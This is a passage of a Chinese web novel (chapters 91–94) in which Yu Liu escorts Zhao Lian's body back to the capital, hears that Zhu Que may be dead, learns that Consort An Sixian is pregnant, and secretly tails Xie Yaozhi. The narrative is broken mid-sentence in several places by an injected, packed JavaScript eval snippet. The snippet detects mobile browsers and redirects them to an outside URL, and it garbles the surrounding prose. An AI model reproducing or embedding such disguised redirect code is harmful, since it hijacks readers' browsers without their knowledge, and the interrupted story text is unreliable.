“再说了,老夫人,儿子没了还有孙子,孙子没了可就什么都没了,您得好好想清楚。”玉流说完,搭上周老夫人的肩,随意按了几下,老人家晃了晃,倒下身来,玉流接着,交给周承昀。 “不必担心,她只会再睡上几个时辰。” 周承昀点头,将老夫人抱进屋里,再走出来时,脸上已经布满哀色:“我没想过她……她一直都对我很好,好到我有时都会怀疑自己到底谁。” 如果是说替身,玉流还真遇上过这样的事,可惜男女之情和骨肉至亲到底不一样,她也不知如何安慰,只能岔开这一话头:“她的眼睛是三年前瞎的?” “嗯,”周承昀兴致不高,“在周清文说她梦魇之后的某个晚上,郎中来看了,说是心病,我还以为是因为噩梦……” 此后的话无需多言。 玉流:“知子莫若母。你留下照顾她吧,顺便想想她醒了之后该怎么说。” 周承昀懂她的意思,刚转身,玉流又叫住他:“名字,在成为周承昀之前,你叫什么?” 他脚下停了停,嘴微张,字眼提到喉口:“我……” 只是片刻,他又摇了摇头:“称呼而已,不重要了,你就当我是周承昀吧。” “你——”若是刚入京城的玉流听见这样的话,定会恼怒。为仇家尽孝,要么是她疯了,要么就是他疯了。 可眼下不一样了。 疯就疯吧,他们这一辈的人好不容易活下来,生点疯病又能怎么样呢?说到底,周老夫人也不是什么十恶不赦的大罪人,而且,她在明知他真实身份的情况下,还是帮他瞒了下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那行,”玉流起身,走到房外吩咐了外侯官几句,继而回头对诸几说,“诸哥,我看你恢复得不错,那带尸体归京之事就麻烦你了。” 诸几:“没问题,小事一桩,小事……啊?” 一刻钟后,邳州城外。 玉流勒马,她最近使唤谢遥知使唤地得心应手。 让他去帮着诸几研究如何才能带着赵廉的尸体走出邳州城门的闲暇里,玉流侧身眺望不远处的回天城。 来时没赶上好时候,去时也是如此。 又落下了蒙蒙的细雨,天色空蒙,唯有那座山头依旧。 偏偏是这样阴郁的景致,玉流却生生瞧出了雨下的寒山之外意气峥嵘。或许这才是寒山最初的本色。 玉流从腰带中摸出那枚玉骰子。 佛没有骗我,一粒玉骰子,的确如一颗真心。 心在,人在。 玉流弯眼浅笑着,轻声道:“此别后,师兄,不日再见。” 91. 好坏事 玉流当了回善解人意的好妹妹。 诸几才从寒山走出来,差点死了一回,人都看着老了好几岁,还是得修养修养,于是,在路过某一地时,玉流掏钱换了辆马车。 虽说马车品相一般,但诸几当即就热泪盈眶了。 他的确高估自己了,天知道他带着赵廉的尸体骑马有多累,此刻握着玉流的手,就差临门一脚:“好好好……” 玉流拍拍他,十分煞风景:“诸哥,里面不是给你坐的,是给赵廉躺的。” 谢遥知迅速捂住嘴,掩饰住自己没克制好的笑声。 “什么!” 诸几憋回了那几滴眼泪:“没人性,没人性。” 玉流淡定接话:“你可以坐里面,但是没人给你驾马车。” 谢遥知轻飘飘插话:“要不把赵廉系在外头?尸引马——够地狱。” 见玉流的目光真的落在他身后的赵廉上,诸几浑身都抖了一下:“当我没说。” 玉流意味不明地笑了声:“知道你累,诸哥,我们先找个地方吃顿饭吧。我没记错的话,前面应该会经过钦州,我们进去歇一会儿。” “我没这么娇气,你俩稍微等等我就行。”诸几还能硬撑。 “不一样,你从那座山里活着走出来,就相当于在阎王爷面前晃悠了一圈没被他带走,他老人家放过了你的命,但也会拿点息钱走,你的身魂,”玉流不遂诸几的愿,“所以,就这么定了。” 不久,三人低调地进了钦州城,没有惊动城内的外侯官。 玉流对钦州不熟悉,为数不多的印象来自于书信。她随意望了眼,按着诸几走进了离城门最近的一家酒楼,要小二找了间清净的雅间。 玉流点了菜就打算出去了。 “你不吃?”谢遥知问她。 “我出去看看,你们先吃。” 谢遥知这一点好,知道进退有度,或许也是另有所谋。他说:“行,那你自己小心。” 玉流不在,诸几整个人都松了许多。他原本想得很好,自己是玉流长辈,自然不能让她看扁了,可撑了这么几日真的撑不下去了,趴在桌板上眯眼休息,听见谢遥知进门落座的声响,勉强支起身子。 诸几清清嗓子,抱拳道:“路上我从玉流那里听说了,是谢公子你找到的我,还是你扶着我下的山,救命之恩,有什么我能帮得上的,但说无妨。” 谢遥知微微摇头,给他倒茶:“小事,诸大人无需在意。” “要在意的,我诸某不欠人情的,”诸几接过他的茶,“俗气是俗气了点,但俗气也顶用,请问谢公子缺钱吗?” “我不缺钱。诸大人,我一个走江湖的,带那么多的金银又有何用?”谢遥知给自己也倒了杯温茶。 “那你缺什么?” 谢遥知就等着他问这句话:“怎么说呢,一个人久了,总觉得身边缺个伴儿。” 他琢磨不透诸几对他的看法,也不清楚诸几是否知晓敏郎的存在,只能拐着弯儿先试探试探。只是他高估这位诸大人的脑筋了,这位能闷声不响在兵部蹉跎三年的粗人怎么可能听得出他婉转的言下之意? “你什么意思,不会是……”在谢遥知暗暗的期待中,诸几挪着椅子慢慢往后,“你、你想让我以身相许?” 谢遥知握着茶盏的手微微颤抖:“……” 真是唱歌给牛听,来回都是哞哞。 傻唱,傻应,傻相。 要命。 “我不玩这个,”诸几义正严辞地拒绝,“虽然你救了我的命,但我不好这口,其他的我都接受……” 谢遥知简直在鸡同鸭讲,他懒得反驳,无话可说地捂住脸。 怪不得快四十了还打光棍,这么听不懂人话,怎么可能讨得到媳妇。 不过他也要问了,这么听不懂人话,怎么爬到外侯官副指挥使的,难不成外侯官里头也要平衡,要靠个不怎么聪明的老小子中和一下? 真是见了鬼了。 谁说不是呢? 就站在雅间外的玉流无声地笑着,诸哥还真是一如既往地稳定发挥。 好得很。 玉流哼着小曲儿走出酒楼,走过半座城,顺手买了两盒碧螺春糕,走着走着,找到了正在当值的某位外侯官。 “这位大人方便吗?”她问。 “方便,您是遇上什么,啊大——” “嘘,”玉流示意他小声些,“张濯,长了一岁也该稳重些了。” 张濯长得显小,脸红红的,腼腆地挠头:“这不是见到,唉,不说这个了,您怎么过来了,是哪里又出什么乱子了吗,不会是钦州吧!” “不是,别的地方,已经解决了。难得这次不急,难得经过钦州,所以过来看看,”玉流道,“你在信里说得倒是不假,钦州的确不错。这边的日子过得习惯吗?” 张濯是当初那些朝中老匹夫送来的小公子中的一位,听说早年被父亲卖进了花楼,后来又被哪位显贵买了回去,最后辗转到了她的手上,被她丢进了侯官署,能忍能抗,也挺争气,后来被安排到了地方来历练。 “习惯的大人,钦州挺好,您还真的看了我写的信了啊。” “空闲的时候翻了翻,字有长进。”玉流说着,把手里的两盒春糕都给了他。 “真的吗,太好了,啊,这些都给我吗,”张濯小心地捧着,“会不会太多了,我可能会吃不完。” 玉流叹了口气:“一盒是给你的,另一盒你给其他人。你跟我出去逛逛,找个人来替你当半个时辰的值。” “是这样……好!我去去就回来,大人等等我。”张濯一溜烟地跑远,生怕慢了玉流就不在了。 玉流看着张濯的背影,心不在焉地想起了某人装蒜的时候。 她好像还真的挺吃这一卦的。 等到张濯回来时,玉流已经走到了钦州最大的书肆附近,找了棵垂柳靠着,他急急跑来了就问:“里面干嘛呢,这么热闹。” 张濯喘了口气:“应该在辩论,那位舌战群雄的是大魏的公主。” 玉流:“大魏的公主来大殷做什么,过来游山玩水?” “呃……来追人。”张濯有些尴尬,他也是最近才知道这件事的。 “追谁?” “也不能说是追人,准确来说,她来追书,山中客的书。” 玉流觉得自己有一瞬息的耳聋:“你说她来追什么?” “山中客的书,”说到这里,外侯官皱起脸,仿佛感同身受,私有真情流露,“大人你是不知道,山中客已经整整两年没有出书了,偏偏上一册还卡在最难受的地方。这位殿下不远千里过来,就是为了在各州的书坊书肆里打听点山中客的消息。但是吧,那位山中客真的太神秘了,就连这些书商书贩都不知道他到底是谁,甚至是男是女都不清楚。” 玉流眨了下眼:“我看你也很想知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947968|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道后面的故事吧。” “嘿嘿,这都被大人听出来了,”张濯不太好意思,“偶尔也要消遣一下。” 玉流无奈摇头,仰起脸又向书肆望去,里面的姑娘一脚踩上书榻,顿时把那些老古板气得脸红脖子。真是看不出来,这么文气的公主殿下,嘴巴居然这么厉害。 玉流似乎想到了什么,眼尾落了落,偏头道:“你去讨份纸笔来。” 张濯不问为什么,直接走进书肆找老板拿了纸笔,玉流从他手里接过,写好吹干墨迹,再让他送进去:“你告诉那位殿下看了便知,其余的不用多说。” “是。” 单方面的虐待老人就此打住,被外侯官请下书榻的姑娘也不恼,乖乖地跳下来,抚平裙摆,拿过字条没看,将碎发挽至耳后:“给我的?” 得了肯定的回复后,她才翻开,惊喜就此上眼,摸着怦怦的心口缓了好一会儿,在张濯的指引下从窗中探出身,朝着玉流甜甜地笑。 隔得有点远了,玉流依着她的口型,分辨出她在说:“谢谢。” 玉流摆摆手,心说:“慕容鸠,你有福了。” 玉流相当满意自己的良善,越发觉得进钦州进对了。张濯出来后,问他的尾音都轻快了许多:“去吃饭吗,诸大人也在,趁着还有时间,你也过去见见他。” 张濯小鸡啄米似的点头:“去,去。” 两人顺着这条路又走了大半,走着走着,玉流突然停下。 余光中似乎见到了什么不得了的东西,她揉了下眼睛,确信自己没看错后,转身,站在某人的跟前。 她真的不解:“我就随便停在半路歇息几个时辰,这都能被你找到?” 包打听坐在地上有气无力道:“您也不看看我是谁。” 玉流皱眉:“这才几日不见,你怎么就憔悴成这样了?” 包打听不说话,盯着她旁边的张濯,严谨一点,是一边盯着张濯一边嗅个不停。 玉流:“干嘛呢,别这么猥琐。” 包打听:“我饿,他香。” 玉流疑惑地看向张濯:“你带了什么?” 张濯:“春糕。” 玉流无语:“你带出来干嘛?” 张濯:“怕您饿。” 玉流:“……” 她真的服了:“好了,你先过去,诸几就在城门口右边的那家酒楼。要是有人问我为什么没一起来,你就说我还在逛,不要提及他。” 当然,这个他指的是这位堪比乞丐的包打听。 “是,大人。” 玉流等着张濯走出了视野,才拎起地上的包打听:“别看了,口水吸一下,我给你买,然后我们换个能说话的地方。” 找了处阴凉无人的小巷,玉流将春糕放到他的怀里:“四方境那边看好了?” “差、差不多吧。”包打听囫囵吞下一整块,差点没把自己噎死。 玉流心累地拿出水囊,递给他:“包打听,你怎么这么可怜。” 包打听咽下春糕,气顺了,悲愤道:“我能不可怜吗,你是不知道,我差点死在青龙手里。” “你被他发现了?” “也不算,就是听到了一些不该被我听到的消息,怕他以后来找我算账。” “说来听听。” 玉流这么问了,包打听又扭捏了:“……那什么,我有两个消息,都不太好。玉姑娘,你想先听哪一个?” 92. 纷纷来 玉流心道有区别吗,但嘴上还是稍微说了一句:“好一点的坏消息?” 包打听点头,将水囊递给回给她,自己则抱着剩下的春糕往后挪了挪,瞄着她的脸,道:“宋庄主给宋大小姐找到了如意郎君。” “那我恭喜她,”玉流丝毫不在意,“不过这算什么坏消息,难道宋远徽找的女婿太好了?” “嗯,”包打听说话的声儿都和人抖到一块了,“是、是青龙。” “青龙脑子进水了?”玉流那点漫不经心的调笑慢悠悠转成讥讽,而后骤停。 后知后觉,她突然就懂了:“怪不得他要暗地里去镜水山庄,原来是打的这么一个主意啊。” 包打听听不懂,耐不住好奇,偷摸地问:“什么主意?” 玉流没理会,脸冷下来:“境主有消息了吗?” “没有,”怕她不知,又补了一嘴,“白虎也是一样。” 要死。 玉流接着问:“他俩婚期什么时候?” “暂时还没定,不过照我打探来的消息,宋家人很急,应该会很快。” “宋泊嫣这么恨嫁?” 包打听嘀咕:“青龙也挺恨娶的。” “青龙有病,别管他,”玉流曲着骨节敲了两声石凳子,沉声问,“那朱雀呢?” 包打听讪讪地嘟哝了句后就垂下头不敢看她了,飘乎的声音被树顶飒飒的叶声盖过。 玉流耐着性子:“我不是聋子,不要求你大声,但至少得让我听见。” 包打听艰难地咽了咽,盯着自己的鞋面,努力大声道:“朱、朱雀姑娘……好像死了。” “死”字才出来,玉流就捏碎了水囊的木塞:“你再说一遍。” “别发火,冷静冷静,”包打听慌忙站起来退后了好几步,压着手道,“你先听听听我说完。” 这次他一口气都没带换的:“自镜水山庄听到了这件事后,我立马就找人脉问过了,因为雇主迟迟没有收到货物就找人去问了,结果南海那边沿线都没了朱雀的踪迹,算是生不见人死不见尸,只在岸上的滩沙里捡到了她的红玉珠串,这可是她不离身的手串啊……所以才会有这样的判断送回来。” “就这?不离身又怎么了,这就算死了?你也太小瞧她了,再说了……”玉流冷哼,她已经吃过一次亏了,不会再轻易有第二次,“慕容鸠都没换杀榜,她死什么死。” 包打听小声询问:“玉姑娘,你说会不会是朱雀姑娘得知了青龙要成婚,所以故意……” “不会,朱雀不会对青龙有别的心事,”玉流忽地冷笑,揩去掌心的碎木屑,“四方境和镜水山庄的事情你不用管了。” 包打听仍心有余虑:“可青龙不好说啊,要是他信了把朱雀姑娘的死讯说出来怎么办?” “说不准,要是红白喜事一起……看青龙到底要什么了。” 一个落魄将熄的江湖山庄,一个佛口蛇心的青衣文士,结成无法稳固的裙带关系,算不上一个坏消息。 四方境就难说了,大概要变天。 玄武这王八十几年都不现身,这次估计也是置身事外。白虎虚荣利己,不会和青龙对着干,估计早就藏了起来,唯有朱雀……小红雀被戏耍了。 那桩生意极有可能是青龙安排的,他动了手脚故意将她支走。 这家伙,还真是阴险。 玉流当机立断:“你去南海。朱雀要么是遇到麻烦躲了起来,要么是她自己不想现身。不管哪一种,包打听,你想办法把她带回崇州……去之前,你先跑一趟极乐天帮我给秦辜幸带句话,说什么?附耳过来……” 一炷香后。 玉流再走上酒楼时,雅间里头吃得挺热闹。她在离门口几步远的地方停下来,静静地听了一会儿,没有进去,脚下一转,走回了大堂。 非她之乐,意兴阑珊。 玉流找了张靠墙的空桌坐下,叫了壶冷茶。 看她落座,受了她嘱咐的店小二甩着白巾靠过来,一边给她倒茶一边悄咪咪道:“姑娘,你离开后,雅间里那位年轻些的公子也出去了一趟,不过很快就回来了。” 玉流随意点点头,拿出钱袋:“多谢,银子收好。” “您客气,那小的就不打扰了。” 玉流转着碗沿,喝了几口,如暗月下寂静之流的目光柔柔地落在雅间的门上,糊了薄纸的格子门中,隐约浮现里面三人的身影。 玉流浅浅笑着,喝完了半壶茶,才从容不迫地起身,敲了几声后,推开:“吃好了吗,我们该走了。” 屋内三人神色各异。 张濯:“大人你不吃吗?” 谢遥知:“你出去看了什么好东西,这么久才回来?” 玉流一个都没回,盯着最里侧那位不停夹菜的饿死鬼,真心劝道:“诸哥别塞了,我一顿不吃饿不死,你一顿吃太多是真会死……” 走出钦州三人就再未停歇,回到京城已是三天之后。 诸几面如菜色,麻木得像是失去了魂魄,靠着不知从哪里来的信念撑着,拽着缰绳将马车驶向侯官署。 被无视的守卫长眼睁睁看着诸几远去,忧心忡忡:“玉大人,诸大人他这是——?” “随他去吧,”玉流说着,忽地扭头,朝着在给谢遥知登记的城门卫喊,“到住址了吗,到的话你给他写诸府的地址。” 正摇着扇子想把自己同玉流绑在一起的谢遥知略微僵了笑脸,而后合起折扇,掩下狐狸眼中的一抹落寞,自然道:“刚好,有劳这位大人了。” 城门卫脸色苍白了一瞬,连忙道是,在玉流回头的瞬间迅速撕下刚写好的那页,重新落笔,一板一眼道:“姓名好了,年纪好了,地址……” 等谢遥知登记好了,玉流抱着胳膊不疾不徐开了口。 “你也累了,先找个地方先休息会儿吧。” “怎么这么看着我,难道你想赖我家?” “孤男寡女住同一屋檐下怎么能行,你难得来一趟京城,我不能毁了你的名声。” “你要是嫌贵真可以住诸哥那儿。你救了他,蹭几天食宿总是可以的,他也不会那么小气,我等会儿就去和他说,反正诸哥家里就他一个,不存在什么嫂子老太太小孩子会有意见。” 玉流不间断的一句一句将谢遥知的心思全都堵了回去,他哎呦了声:“玉流,我认识的人里就没有比你更明察秋毫的了。” 谢遥知同玉流相看着,似笑非笑的模样下,玉流就当是听不出他的挖苦。 像是无意,她又说了句:“我那破屋不好,不比诸哥的宅子,你住他府上去哪儿都方便。” 俗话说得好,说者无意,听者有心,更何况谢遥知的确是存着目的来的。他皱着眉心想了想,道:“也好,那你带我去?” “不太行,我得先去交差,”玉流扬手招了个在城门附近的外侯官来,“这位是谢遥知谢公子,是诸大人的贵客,救过命的那种,近期要在京城小住,你领他去诸府。” 外侯官看谢遥知的眼神顿时就不对了,目不转睛的样子让谢遥知有种被人盯上的错觉。而玉流毫无所觉,继续和外侯官说着话,让他帮忙出去买些东西,都记在诸几的账上。 谢遥知脸上荡着得体的笑,心里却想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972213|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不通玉流在做什么。 重视他呢,还是……重视他呢? 玉流弯着笑眼挥手送谢遥知走远,而后收起笑,骑上马就往侯官署赶。 到了地方,玉流把白马交给章囚安在侯官署的心腹:“诸大人到了吗?” “到了,马车里外都已经收好了。诸大人这会儿已经去客房躺着了,孙郎中也去请了,一会儿就到了。” “好,章大人呢?” “在书房,郡主也在。” 玉流不禁翘了翘眉梢,见热闹似的笑了笑,抬起脚就朝书房走,还没走到,门就从里面打开。 赵颐上上下下下下上上看了两遍,反复确认她完好无损,才道:“你好好的怎么就诸几那样子了,脸色发青,手脚发汗,我都以为他是诈尸回来了。” 玉流跨过门槛,关上门,再淡定地把自己撇干净:“等他醒了问他就是,我不是很清楚。对了,你去见赵廉了没?” 赵颐别过脸:“嘁,有什么好见的,见了我就会哭出来?我为我兄长流的泪早在年前就流干了,现在要先酝酿酝酿,等到后面和爹娘一起哭才好。” “不错,长大了。”玉流虚伪地称赞了一番,拉开章囚旁边的椅子。 因着赵颐在,她不好问章囚一些事,便道:“今日什么日子,你俩都凑一块了?赵颐,我寄养在你家里的那两个孩子呢?” “好着呢,护卫跟着出去玩了。小妹妹嘴可甜了,甜得我都年轻了好几岁。这么一看,章囚,你又老了。” 章囚半翻白眼:“我答应让你留下不是为了听这些闲话的。” “小心眼,”赵颐骂完章囚,大大咧咧地坐到玉流腿上,“刚好有事找他,刚好你回来,就这么刚好。” 玉流忍着没把人肘下去:“是我时机把握得好。然后呢?” “然后啊,”赵颐捧起她的脸,特心疼地说,“你家小郎君跑了你知不知道?” 玉流拍开她的手:“不要紧,他过几天就回来了。还有,你重,赶紧起开。” “重什么重,重也给我忍着。你可真是过分,”赵颐不干了,捶着玉流的心口,“你就这么不担心?你不怕他出去找到比你更好的?还是说你找到比他更好的了?你们前脚刚到京城,我后脚就听说了,你又带回来一个是不是!干嘛呀玉流,我都说了,你不要他可以给我,我那儿缺人!” 玉流:“……” 漠然地跟章囚对了一眼,她抓住赵颐的手,无情道:“再说闲话就把你打晕了丢出去。” 赵颐这才不甘不愿地闭了嘴。 章囚敲着楠木桌几,拔高了声:“好了赵颐,是你来说还是我来说?” “我说,当然是我说,”赵颐嬉闹的神色终于正常了,她按住玉流薄瘦的肩,认真道,“我刚从宫里出来,本来想先和章囚商量商量的,但既然你回来了,就直接和你说了。这段时日发生了两件要紧事,你做好心理准备。” 玉流挑眉,静候下文。 赵颐:“第一件事,你离开京城后的第二天,安国公自缢了。” 见玉流神色如常,赵颐斟酌了片刻,低声继续:“而两日前,胡平递出消息……说安思贤……有了身孕。” 玉流陡然变了脸色:“什么?” 她看向章囚,从他的眼神中得到肯定的回复后,自己都无察觉地出了神。 “玉流,玉流!吓到了?” “我没事,可以松手了,”玉流被赵颐摇醒了,吸了一口冷气静下来,“近来事情太多,跟去年你生辰喝醉了,去街上发酒疯抛碎金一样,纷纷砸下来,我快要被砸晕了。” 93. 没良心 赵颐从玉流的大腿上下去,搓着手指:“你就惊讶那么一小会儿然后就接受了?” 玉流顾着抚平衣裳上的褶皱,淡声道:“那不然我该怎么样,一直惊讶,直到安思贤把孩子生出来?你也知她年轻貌美,陛下……” 玉流顿了顿,才继续说:“仍是壮年。” 再娇嫩的花芽蹉跎过一个春秋冬夏,开了谢谢了开,也会变成一年生的老桩,足够粗实到镶金嵌玉,生儿育女。 赵颐连连摆头:“太勉强了,玉流,这话从你嘴里说出来,谁信?章囚都不信。” 章囚见缝插针:“我信。” 赵颐权当他在放屁,双手按在扶手上,俯低身子,压下眉头,满身都是难得一见的正经:“别告诉我你不知道。” 玉流缓慢地眨眼:“……我该知道什么?” “章囚?” 赵颐狐疑地扭过头,被她盯着的章囚只是端起茶盏,捏着盖碗撇去茶沫后轻抿一口,一言不发。 赵颐同他相识多年,一眼就看出他这是心虚了,嘘了他一声,转而对玉流道:“章囚和你说了吧,安思贤有几分像我的某位长辈。虽然我清楚他们不是同一个人,但我还是觉得膈应。” “听你的意思,”此言一出,玉流来了几分兴趣,玩味的目光从赵颐转到章囚,再转回赵颐身上,“你见过那位长辈?” 赵颐当即否认:“怎么可能,我爹都没见过她几次,哪里会轮得上我。” “那你是怎么——?”玉流也不多说。 “是我爹,那位老赵家的知名窝囊废,记性不行脑子不好,一辈子的运气都放在判东风上了,次次都能当一棵极佳的墙头草站好队。你也知他平日都是躲着不见人的,不怎么管我和我哥的死活也不管我交了什么朋友。他在乎的,首位是他自己,其次是他的夫人。” 赵颐说着自嘲般笑了会儿:“前年我满二十岁,你还没来,生辰本想随便过过,可是极少出宫的皇叔突然造访,一切随之变味。皇叔说是家宴,我就想让当时已在院墙外的安思贤先回去,等皇叔走了,我再同她出去玩,结果她左等不到我右等不到我,自己就偷摸着跑进来了。她笨拙地翻墙从树上跳下来时,遇上了正在不远处和我爹闲聊的皇叔。” “这就是命吧,”她比划着,无可奈何,“稀里糊涂就扑进了皇叔怀中,而就在旁边的我爹脸色瞬间青白,再后来……已经是她进后宫之后了。我爹有一次喝醉了,冲进我的院子叫我以后少去见她。我追问为什么,他喝上头了,不小心说漏了嘴。” “我得知前因后进宫去见过她,眼睛对上的那一刹,我就明白她也是心知肚明的,于是,我们就这么无名默契地渐渐疏远。”赵颐放轻了嗓音,带着微不可闻的心伤。 玉流秉持着局外人观前尘事的冷血:“过去的事再如何后悔也无用了。” “我知道,只是偶尔夜深人静,我也会感到愧疚。以前还行,可今年来,这才几个月,她没了弟弟,又没了父亲,现在居然来了个孩子,你说说,你说说这都是什么事儿啊……”赵颐蹲下来,将脸埋在玉流的腿上,而后重重地锤了她一把,“你谈情了怎么还这样,怪不得你家小郎君要跑!” 玉流呵呵笑了两声后,揪起赵颐脖子上的软肉:“那你别黏着我,起开。” 赵颐吸了下鼻头,胡乱地抹了把眼睛,气鼓鼓地坐到最外边的椅子上,翘着腿不看里面的两人。 玉流也随她去,撑着下巴问章囚:“胡平私下把消息递出来,那就是说此事还没公开?” “对,但估计也瞒不了多久,”章囚放下只喝了一小口的茶盏,正色道,“安国公下葬的那天,陛下允安思贤出宫回府送她父亲最后一程,我奉命跟着,找出点苗头来。” “什么叫你,是我好吗,”赵颐不由分说地打断他,“那天我也在,玉流你是没瞧见她披麻戴孝的模样。人要俏,一身孝……恶毒的,正确的,一针见血的。容颜尚在,气色却和苦夏的老竹似的,干瘪寡淡,麻木不堪。后面她说想一个人去她以前的屋子里睡一会儿,所有人都只准在院子外守着,不准进去。她是贵妃,是主子,喏,章囚答应了,转头就叫我跟上去,手刚搭在门上,就看见她蹲在墙角猛烈地吐了起来。” “这年头,没见猪跑还没吃过猪肉吗,我那时候就有了一点猜测,但我觉得我皇叔应该不是那种人。显然,我眼瞎,”赵颐如此总结完,又问她,“知道这意味着什么吗?” “陛下有了孩子?”玉流说了一句废话。 赵颐扁着脸:“有时候我也听不出来你究竟是故意的还是无意的。听我说,这意味着皇叔即将会有第一个孩子。有孩子和有第一个孩子完全不一样的好吗!” “他不仅将安思贤放出冷宫,为安国公风光大葬,安德明做的好事一笔勾销,还怕她追思亲人,命人去寻了她早就归乡的乳母回来伺候。当然,这些都是胡平说的。” “然后昨日才入夜,胡平手下的小太监就匆匆赶来,皇叔要我天亮就进宫陪陪她,说她失了仅存的亲人后已经好几日没说话了,怕她总是闷着会生病。” 玉流点着头:“她怎么样了?” “我今日一大早去见她了,人是依旧忧郁着,但比之前好多了,脸上长了一两肉。” “这样啊……”玉流不知该怎么说。 从前是安国公,如今是皇宫,从有些交情的朋友变成行礼跪拜的君臣,平心而论,玉流并不信安思贤有那么凄惨。 或许一年之前安思贤的确还是只纯情柔弱的小白兔。但如果真如赵颐所言她早就知道了自己为何会被赵徥带进后宫,那么这只小白兔极有可能已经开始偷偷磨爪子了。 就是不知她这爪子对准的是谁的咽喉。 玉流按住泛着隐疼的额角,对着赵颐下了逐客令:“要不你先回去,毕竟这还是个秘密,我们不能轻举妄动。” “道理我都懂,但我总觉得安思贤的身孕来得太过凑巧,算了,就先这样吧,”赵颐站起来,反正该说的她都说了,也是时候走了,就是走之前又绕了回来,暗示的媚眼都要抛飞了,“唉,玉流,你什么时候过来,或者我过来。你看脸的眼光向来不错,新来的朋友我也想见见。” 玉流默了一瞬:“更正,是诸几的朋友,你想见他就去诸哥家。” 赵颐:“哈?” “行了,赶紧走,”玉流起来亲自送她出门,“对了,那俩孩子我再放你那儿几天,别让他们回来,尤其是宝儿,我最近挺忙。” “哦,好,”赵颐有一点很好,一下就会被人带偏,“啊,不是,玉流你怎么这么没良心,你那小妹妹可是天天盼着见你。当初走的时候一句招呼都不打,现在又要让我当坏姐姐,哎呦,妹妹又要掉金豆子了,可怜可怜……” 玉流“啪”地合上门,隔绝了赵颐的滔滔不绝,和章囚一道从一数到十,等着赵颐的抱怨随同她的脚步远去,玉流才问:“囚哥,鄞州查得怎么样了,有异常吗?” 这才是章囚本来打算和玉流说的,因着赵颐在,只能先把安思贤的事情移到前面:“有,但不是在之前,而是在你走之后。城外的河里多了好几具浮尸,外侯官以为是那段时间暴雨成灾,沿州的流浪乞讨儿走夜路没看清导致掉进了水中溺死。因为没有人来官府报案,他们就被当成了无名尸处理了。” 玉流半阖着眼,忽然发问:“嗯……死相怎么样?” 章囚没预料到玉流会问这个,稍作思索,道:“具体情况他们没写很细,唯一提及的,是浮尸的脸皮泡没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我又没说我是来找你借宿的,”谢遥知扶着腰起身,一副没骨头的软样,“你能不能陪我逛逛,嘿,怎么一副我欠了你几百两银子的臭脸?” “累。等我睡够了舍命陪你逛,今日嘛你自己先随处看哈啊……呼。”玉流话没说完,哈欠已经出口了。 “进城时都没见你这么累啊,怎么,和我呆在一起就累了?我还什么都没干呢。” 玉流踢他:“你懂什么,我这是到家了。好了,趁我累着懒得发火,赶紧走。” “行行行,大人您好生睡一觉,我明儿再来叨扰。” 谢遥知走出街角,玉流惺忪的睡眼转瞬就冷冽起来,眯着眼望向橙红的晚霞,快入夜了。 夜里,是适合发生点什么的好时候。 夜半三更,紧闭的窗子被敲响。 玉流睁开眼:“说。” “大人,谢公子刚从诸府离开,看方位是往城北去了。” “没看错?” “没有,他的脸我们几个都记住了。” 玉流吐出一口浑气:“好,你们不要冒然跟近他,我马上就来。” “是。” 静夜冷风,月光清凌,却总有照不亮的角落。玉流站在半坍的矮墙后,心里想的不是谢遥知要私会谁,而是京城居然还有这么荒凉的地方? 脚底还没走出半步,一阵凉风贴着后颈而来,拂起她没有拢好的长发。 青丝扫过脸侧之时,“唔——”玉流被略带寒意的手掌捂住了嘴。 下一刻,闷闷的轻笑从鸣动的胸腔闯进玉流的耳中。她恼了,抬肘就要往后,然,身后之人预判了她的动作,先行破招。 他抓住她的手腕,手花一转,嶙峋修长的手指便将扮凶的爪子收拢团作拳头包住。 “这才没见几日就这么凶了?嘶——小没良心,膝盖骨往哪踢呢?” 94. 长夜短 这一打岔,玉流躲过了被跟踪之人的谨慎张望。 谢遥知似乎听见了什么动静,稍一迟疑便隐没在风月中。无名的角落里,淡白月色下,唯有矮墙虚长的影子。 细细簌簌的枯草声掩盖过两人呼吸相闻的交谈,玉流看见了夜色中突兀的那抹黑,以及几道远去的圆滑足音。 宋繁声终于舍得放开她了。 夏月来临的时节,无人之处便是纷繁的虫鸣。 有些吵,有些静。 “你太小看谢遥知了,”玉流散开的长发从他指尖划过,他拔下木簪,重新替她挽起发髻,“也太莽撞,你不该一个人跟着,这么近地跟着。” 玉流最不喜他说这种话:“所以你赶回来就是为了教训我?” “当然不嘶——”宋繁声短促地呵了声,“你还真是会往疼的地方拧。” “废话。”玉流松开他腰上的肉,鼓着脸转过来。 那不然呢,她还生气呢,咻地揪住他的脸往下。 